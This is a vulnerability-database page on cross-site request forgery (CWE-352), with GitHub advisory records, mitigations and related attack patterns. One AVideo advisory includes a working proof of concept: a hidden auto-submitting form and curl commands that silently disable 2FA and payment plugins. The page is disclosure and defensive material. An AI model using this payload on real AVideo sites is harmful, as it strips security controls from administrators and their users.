Common Weakness Enumeration

CWE-352

Allowed

Cross-Site Request Forgery (CSRF)

Abstraction: Compound · Status: Stable

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

14231 vulnerabilities reference this CWE, most recent first.

GHSA-HQQJ-W93Q-QH72

Vulnerability from github – Published: 2025-07-19 18:30 – Updated: 2025-07-19 18:30
VLAI
Details

A vulnerability, which was classified as problematic, was found in PHPGurukul Complaint Management System 2.0. Affected is an unknown function. The manipulation leads to cross-site request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-7834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-19T16:15:30Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, was found in PHPGurukul Complaint Management System 2.0. Affected is an unknown function. The manipulation leads to cross-site request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-hqqj-w93q-qh72",
  "modified": "2025-07-19T18:30:33Z",
  "published": "2025-07-19T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7834"
    },
    {
      "type": "WEB",
      "url": "https://github.com/N1n3b9S/cve/issues/8"
    },
    {
      "type": "WEB",
      "url": "https://phpgurukul.com"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.316938"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.316938"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.616888"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HQRG-2P9V-RV84

Vulnerability from github – Published: 2025-04-01 15:31 – Updated: 2026-04-28 21:35
VLAI
Details

Cross-Site Request Forgery (CSRF) vulnerability in IT Path Solutions SCSS WP Editor allows Cross Site Request Forgery. This issue affects SCSS WP Editor: from n/a through 1.1.8.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T15:16:20Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in IT Path Solutions SCSS WP Editor allows Cross Site Request Forgery. This issue affects SCSS WP Editor: from n/a through 1.1.8.",
  "id": "GHSA-hqrg-2p9v-rv84",
  "modified": "2026-04-28T21:35:33Z",
  "published": "2025-04-01T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31808"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/scss-wp-editor/vulnerability/wordpress-scss-wp-editor-plugin-1-1-8-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQVH-J4H7-887V

Vulnerability from github – Published: 2022-05-14 04:03 – Updated: 2022-05-14 04:03
VLAI
Details

The absence of Anti-CSRF tokens in Trend Micro ScanMail for Exchange 12.0 web interface forms could allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-16T02:29:00Z",
    "severity": "HIGH"
  },
  "details": "The absence of Anti-CSRF tokens in Trend Micro ScanMail for Exchange 12.0 web interface forms could allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain.",
  "id": "GHSA-hqvh-j4h7-887v",
  "modified": "2022-05-14T04:03:47Z",
  "published": "2022-05-14T04:03:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14092"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/solution/1118486"
    },
    {
      "type": "WEB",
      "url": "https://www.coresecurity.com/advisories/trend-micro-scanmail-microsoft-exchange-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQX2-PQRP-V2PH

Vulnerability from github – Published: 2024-02-28 09:30 – Updated: 2026-04-08 21:32
VLAI
Details

The Envo's Elementor Templates & Widgets for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.4.4. This is due to missing or incorrect nonce validation on the ajax_plugin_activation function. This makes it possible for unauthenticated attackers to activate arbitrary installed plugins via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-28T09:15:41Z",
    "severity": "MODERATE"
  },
  "details": "The Envo\u0027s Elementor Templates \u0026 Widgets for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.4.4. This is due to missing or incorrect nonce validation on the ajax_plugin_activation function. This makes it possible for unauthenticated attackers to activate arbitrary installed plugins via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
  "id": "GHSA-hqx2-pqrp-v2ph",
  "modified": "2026-04-08T21:32:16Z",
  "published": "2024-02-28T09:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0767"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/envo-elementor-for-woocommerce/trunk/includes/admin/include/template-library.php#L332"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3041303/envo-elementor-for-woocommerce/trunk/includes/admin/include/template-library.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cca71257-05dc-43d5-8de6-faf0a2feab2e?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQX4-3W5P-P587

Vulnerability from github – Published: 2025-01-09 03:30 – Updated: 2025-01-09 03:30
VLAI
Details

A vulnerability was found in kurniaramadhan E-Commerce-PHP 1.0. It has been classified as problematic. Affected is an unknown function. The manipulation leads to cross-site request forgery. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T03:15:24Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in kurniaramadhan E-Commerce-PHP 1.0. It has been classified as problematic. Affected is an unknown function. The manipulation leads to cross-site request forgery. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-hqx4-3w5p-p587",
  "modified": "2025-01-09T03:30:49Z",
  "published": "2025-01-09T03:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13203"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.290796"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.290796"
    },
    {
      "type": "WEB",
      "url": "https://www.websecurityinsights.my.id/2024/12/ecommerce-php-by-kurniaramadhan-sql.html?m=1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HQXF-MHFW-RC44

Vulnerability from github – Published: 2026-04-01 20:54 – Updated: 2026-04-01 20:54
VLAI
Summary
AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins
Details

Summary

The AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.

Plugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.

Details

The objects/pluginSwitch.json.php endpoint checks admin status but performs no CSRF validation:

// objects/pluginSwitch.json.php
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

$obj = new Plugin(0);
$obj->loadFromUUID($_POST['uuid']);
$obj->setStatus($_POST['status']);
$obj->save();

The plugins table is explicitly excluded from the ORM security check at objects/Object.php:529:

// objects/Object.php:529
public static function ignoreTableSecurityCheck() {
    return array(
        'plugins',
        // ... other tables
    );
}

This means the save() call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.

Plugin UUIDs are hardcoded in each plugin's getUUID() method and are consistent across all AVideo installations. Examples:

Plugin UUID
Gallery a06505bf-3570-4b1f-977a-fd0e5cab205d
LoginControl LoginControl-5ee8405eaaa16
Live e06b161c-cbd0-4c1d-a484-71018efa2f35
YPTWallet 2faf2eeb-88ac-48e1-a098-37e76ae3e9f3

These are also exposed in frontend JavaScript:

// design_first_page.php:99
var galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';

Proof of Concept

Host the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):

<!DOCTYPE html>
<html>
<head><title>AVI-031 PoC - Disable Security Plugin</title></head>
<body>
<h1>Loading content...</h1>

<!-- Disable LoginControl (2FA / brute force protection) -->
<iframe name="f1" style="display:none"></iframe>
<form id="disable1" method="POST" target="f1"
      action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
  <input type="hidden" name="uuid" value="LoginControl-5ee8405eaaa16" />
  <input type="hidden" name="status" value="inactive" />
</form>

<!-- Disable YPTWallet (subscription/payment enforcement) -->
<iframe name="f2" style="display:none"></iframe>
<form id="disable2" method="POST" target="f2"
      action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
  <input type="hidden" name="uuid" value="2faf2eeb-88ac-48e1-a098-37e76ae3e9f3" />
  <input type="hidden" name="status" value="inactive" />
</form>

<script>
  document.getElementById('disable1').submit();
  document.getElementById('disable2').submit();
</script>
</body>
</html>

To find plugin UUIDs on a target instance:

# UUIDs are exposed in the frontend source
curl -s "https://your-avideo-instance.com/" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'

Verification with curl:

# Disable a plugin using an admin session
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/objects/pluginSwitch.json.php" \
  -d "uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive"

# Verify the plugin is now inactive
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  "https://your-avideo-instance.com/admin/index.php" | grep -A2 "Gallery"

Impact

An attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:

  • LoginControl: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.
  • Subscription/PayPal/Stripe plugins: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.
  • Access control plugins: Restrict content visibility. Disabling them exposes private or restricted videos.

The attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the SameSite=None cookie policy ensures cross-origin delivery of the admin session.

  • CWE-352: Cross-Site Request Forgery

Recommended Fix

Add CSRF token validation at objects/pluginSwitch.json.php:11, after the admin check:

// objects/pluginSwitch.json.php:11
if (!isGlobalTokenValid()) {
    forbiddenPage('Invalid CSRF token');
}

Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T20:54:07Z",
    "nvd_published_at": "2026-03-31T21:16:31Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.\n\nPlugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.\n\n## Details\n\nThe `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:\n\n```php\n// objects/pluginSwitch.json.php\nif (!User::isAdmin()) {\n    die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n\n$obj = new Plugin(0);\n$obj-\u003eloadFromUUID($_POST[\u0027uuid\u0027]);\n$obj-\u003esetStatus($_POST[\u0027status\u0027]);\n$obj-\u003esave();\n```\n\nThe `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:\n\n```php\n// objects/Object.php:529\npublic static function ignoreTableSecurityCheck() {\n    return array(\n        \u0027plugins\u0027,\n        // ... other tables\n    );\n}\n```\n\nThis means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.\n\nPlugin UUIDs are hardcoded in each plugin\u0027s `getUUID()` method and are consistent across all AVideo installations. Examples:\n\n| Plugin | UUID |\n|--------|------|\n| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |\n| LoginControl | `LoginControl-5ee8405eaaa16` |\n| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |\n| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |\n\nThese are also exposed in frontend JavaScript:\n\n```javascript\n// design_first_page.php:99\nvar galleryUUID = \u0027a06505bf-3570-4b1f-977a-fd0e5cab205d\u0027;\n```\n\n## Proof of Concept\n\nHost the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-031 PoC - Disable Security Plugin\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading content...\u003c/h1\u003e\n\n\u003c!-- Disable LoginControl (2FA / brute force protection) --\u003e\n\u003ciframe name=\"f1\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable1\" method=\"POST\" target=\"f1\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"LoginControl-5ee8405eaaa16\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003c!-- Disable YPTWallet (subscription/payment enforcement) --\u003e\n\u003ciframe name=\"f2\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable2\" method=\"POST\" target=\"f2\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"2faf2eeb-88ac-48e1-a098-37e76ae3e9f3\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003cscript\u003e\n  document.getElementById(\u0027disable1\u0027).submit();\n  document.getElementById(\u0027disable2\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**To find plugin UUIDs on a target instance:**\n\n```bash\n# UUIDs are exposed in the frontend source\ncurl -s \"https://your-avideo-instance.com/\" | grep -oP \u0027[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\u0027\n```\n\n**Verification with curl:**\n\n```bash\n# Disable a plugin using an admin session\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  -X POST \"https://your-avideo-instance.com/objects/pluginSwitch.json.php\" \\\n  -d \"uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d\u0026status=inactive\"\n\n# Verify the plugin is now inactive\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  \"https://your-avideo-instance.com/admin/index.php\" | grep -A2 \"Gallery\"\n```\n\n## Impact\n\nAn attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:\n\n- **LoginControl**: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.\n- **Subscription/PayPal/Stripe plugins**: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.\n- **Access control plugins**: Restrict content visibility. Disabling them exposes private or restricted videos.\n\nThe attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the `SameSite=None` cookie policy ensures cross-origin delivery of the admin session.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/pluginSwitch.json.php:11`, after the admin check:\n\n```php\n// objects/pluginSwitch.json.php:11\nif (!isGlobalTokenValid()) {\n    forbiddenPage(\u0027Invalid CSRF token\u0027);\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-hqxf-mhfw-rc44",
  "modified": "2026-04-01T20:54:07Z",
  "published": "2026-04-01T20:54:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hqxf-mhfw-rc44"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/7ddfe4ec270d720e11f5dc28db73dfcd2cf9192a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/da375103d59118d1c1b1801ac7fce3cd426f8736"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins"
}

GHSA-HQXP-28J2-46JM

Vulnerability from github – Published: 2022-05-14 01:51 – Updated: 2022-05-14 01:51
VLAI
Details

The Oracle WebCenter Interaction Portal 10.3.3 does not implement protection against Cross-site Request Forgery in its design. The impact is sensitive actions in the portal (such as changing a portal user's password). NOTE: this CVE is assigned by MITRE and isn't validated by Oracle because Oracle WebCenter Interaction Portal is out of support.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-16952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-18T02:29:00Z",
    "severity": "HIGH"
  },
  "details": "The Oracle WebCenter Interaction Portal 10.3.3 does not implement protection against Cross-site Request Forgery in its design. The impact is sensitive actions in the portal (such as changing a portal user\u0027s password). NOTE: this CVE is assigned by MITRE and isn\u0027t validated by Oracle because Oracle WebCenter Interaction Portal is out of support.",
  "id": "GHSA-hqxp-28j2-46jm",
  "modified": "2022-05-14T01:51:58Z",
  "published": "2022-05-14T01:51:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16952"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2018/Sep/22"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105350"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HR35-X9RX-CC59

Vulnerability from github – Published: 2022-11-19 00:30 – Updated: 2022-11-23 18:30
VLAI
Details

Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Creative Mail plugin <= 1.5.4 on WordPress.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-44740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-18T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Creative Mail plugin \u003c= 1.5.4 on WordPress.",
  "id": "GHSA-hr35-x9rx-cc59",
  "modified": "2022-11-23T18:30:28Z",
  "published": "2022-11-19T00:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44740"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/creative-mail-by-constant-contact/wordpress-creative-mail-plugin-1-5-4-multiple-cross-site-request-forgery-csrf-vulnerabilities?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/creative-mail-by-constant-contact/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HR3V-9W59-CQ9C

Vulnerability from github – Published: 2022-05-14 02:47 – Updated: 2025-04-12 12:58
VLAI
Details

Multiple cross-site request forgery (CSRF) vulnerabilities in administrative pages in EMC ViPR SRM before 3.7 allow remote attackers to hijack the authentication of administrators.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-0891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-04-20T17:59:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple cross-site request forgery (CSRF) vulnerabilities in administrative pages in EMC ViPR SRM before 3.7 allow remote attackers to hijack the authentication of administrators.",
  "id": "GHSA-hr3v-9w59-cq9c",
  "modified": "2025-04-12T12:58:52Z",
  "published": "2022-05-14T02:47:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-0891"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/39738"
    },
    {
      "type": "WEB",
      "url": "https://www.securify.nl/advisory/SFY20141109/emc_m_r__watch4net__lacks_c%20ross_site_request_forgery_protection.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/136837/EMC-ViPR-SRM-Cross-Site-Request-Forgery.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/bugtraq/2016/Apr/106"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2016/Apr/89"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/538207/100/0/threaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HR45-7J4G-C7CJ

Vulnerability from github – Published: 2022-05-17 01:35 – Updated: 2025-04-12 12:34
VLAI
Details

Cross-site request forgery (CSRF) vulnerability in the Calendar plugin before 1.3.3 for WordPress allows remote attackers to hijack the authentication of users for requests that add a calendar entry via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-2698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-27T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in the Calendar plugin before 1.3.3 for WordPress allows remote attackers to hijack the authentication of users for requests that add a calendar entry via unspecified vectors.",
  "id": "GHSA-hr45-7j4g-c7cj",
  "modified": "2025-04-12T12:34:13Z",
  "published": "2022-05-17T01:35:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2698"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/84032"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/52841"
    },
    {
      "type": "WEB",
      "url": "http://wordpress.org/plugins/calendar/changelog"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/59661"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
  • Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Mitigation
Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Mitigation
Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Mitigation
Architecture and Design
  • Use the "double-submitted cookie" method as described by Felten and Zeller:
  • When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
  • Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
  • This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Architecture and Design

Do not use the GET method for any request that triggers a state change.

Mitigation
Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-467: Cross Site Identification

An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.